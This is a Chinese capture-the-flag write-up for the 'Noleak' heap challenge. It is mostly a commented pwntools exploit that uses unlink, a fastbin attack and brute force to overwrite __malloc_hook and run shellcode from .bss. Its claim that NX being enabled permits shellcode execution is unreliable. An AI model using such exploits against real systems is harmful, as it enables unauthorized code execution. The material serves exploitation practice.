Noleak
Posted Nullan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Noleak相关的知识,希望对你有一定的参考价值。
这道题很有意思,是比较常见的堆题,记录一下
这道题没有后门函数,开启NX,所以可以执行shellcode,开启PIE,所以只有低三位十六进制数的地址有效,漏洞点是堆溢出和UAF
思路就是通过unlink改写chunk数组地址为bss段上地址,然后编辑堆就可以在bss上写入shellcode
unsorted bin的fd构造一个malloc_hook,通过堆溢出修改unsort bin的size在fastbin里面,然后free构造fastbin attack将最后一个free的fd指向构造的fastbin。然后就可以对malloc_hook进行修改
exp链接:链接
#coding:utf8
from pwn import *
context(os='linux',arch='amd64')
elf = ELF('./timu')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#bss段,我们待会把shellcode写入这里
bss_addr = 0x601020
#我们的目的是把__malloc_hook指向bss_addr,这样,当我们malloc时,我们在bss里放的代码被调用
#从而getshell
malloc_hook = libc.symbols['__malloc_hook']
#我们的攻击目标,我们利用fastbin,想办法让堆分配到malloc_hook地址-0x23处
#由于不能泄露地址,但是由于PIE的缺陷,符号的地址的后3个十六进制数字和它在
#二进制文件中的地址的后三个十六进制数是一样的。然后,我们就直接设定倒数第
#个十六进制数字为2,这样,我们不断爆破,总有一次,它的后4个十六进制数字为
#这个
attack_addr_suffix = 4096 * 2 + ((malloc_hook & 0xFFF) - 0x23)
# 0x2000+mallochook-0x23的低三位
#shellcode
shellcode = asm(shellcraft.sh())
def create(sh,size,content):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Size: ',str(size))
sh.sendafter('Data: ',content)
def edit(sh,index,size,content):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Index: ',str(index))
sh.sendlineafter('Size: ',str(size))
sh.sendafter('Data: ',content)
def delete(sh,index):
sh.sendlineafter('Your choice :','2')
sh.sendlineafter('Index: ',str(index))
def crack(sh):
#chunk0
create(sh,0x100,'a'*0x100)
#chunk1
create(sh,0x100,'b'*0x100)
#我们首先需要来完成任意写的目的,这个地址处是一个数组,用来保存堆指针的。我们需要先控制这里
target_addr = 0x601040
#构造payload使得chunk0溢出到chunk1,修改chunk1的prev_size和size
#假chunk
#prev_size size
payload = p64(0) + p64(0x101)
#fd、bk
payload += p64(target_addr-0x18) + p64(target_addr - 0x10)
payload += 'a' * (0x100-8*4)
#修改chunk3的prev_size和size
payload += p64(0x100) + p64(0x110)
edit(sh,0,len(payload),payload)
#发生unlink,chunk0的指针指向了保存堆指针的数组,那么我们就可以修改数组里的指针,让它们指向一些关键地方
delete(sh,1)
payload = p64(0) * 3
payload += p64(bss_addr)
#将堆0指针变成bss_addr,这样我们就可以往bss里写shellcode了
edit(sh,0,len(payload),payload)
#chunk2
create(sh,0x10,'c'*0x10)
#chunk3 这个必须是unsorted bin范围
create(sh,0x80,'d'*0x80)
#chunk4
create(sh,0x65,'e'*0x65)
#chunk5
create(sh,0x65,'f'*0x65)
#free chunk3后,chunk3的fd和bk残留了libc里面的main_area + 0x88指针
delete(sh,3)
#覆盖低2字节,使得chunk3的FD指向了malloc hook-0x23
create(sh,0x80,p16(attack_addr_suffix)) #chunk6
#修改chunk3的size,目的是让chunk3和chunk5、chunk4的size一样
payload = 'c'*0x10
payload += p64(0) + p64(0x71)
edit(sh,2,len(payload),payload)
#释放chunk4、chunk5,这样chunk5、chunk4构成了fastbin单向链表
delete(sh,4)
delete(sh,5)
#我们覆盖chunk5的fd的低1字节,目的是让chunk5的fd指向chunk3,因为我们不确定chunk3的地址,当我们确定它地址的最后一个字节。
edit(sh,5,1,p8(0x30))
#在bss段写入shellcode,顺便把堆指针从数组里清空,这样我们又创建多个堆了,不然超过10个就不允许创建了
payload = shellcode.ljust(0x20,'\\x00')
payload += p64(0) * 8
edit(sh,0,len(payload),payload)
#chunk7
create(sh,0x65,'g'*0x65)
#chunk8
create(sh,0x65,'h'*0x65)
payload = 'a'*0x13 + p64(bss_addr)
#这个堆的指针指向了__malloc hook,我们修改它的值为bss_addr,这样,当我们再次malloc时,就会调用bss_addr处的shellcode
create(sh,0x65,payload) #chunk9
#当我们再次malloc时,malloc hook执行的函数被调用,我们getshell
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Size: ','1')
sh.interactive()
#爆破
while True:
# sh = remote('111.198.29.45',59617)
sh = process('./timu')
try:
print '正在爆破...'
crack(sh)
break
except:
sh.close()
以上是关于Noleak的主要内容,如果未能解决你的问题,请参考以下文章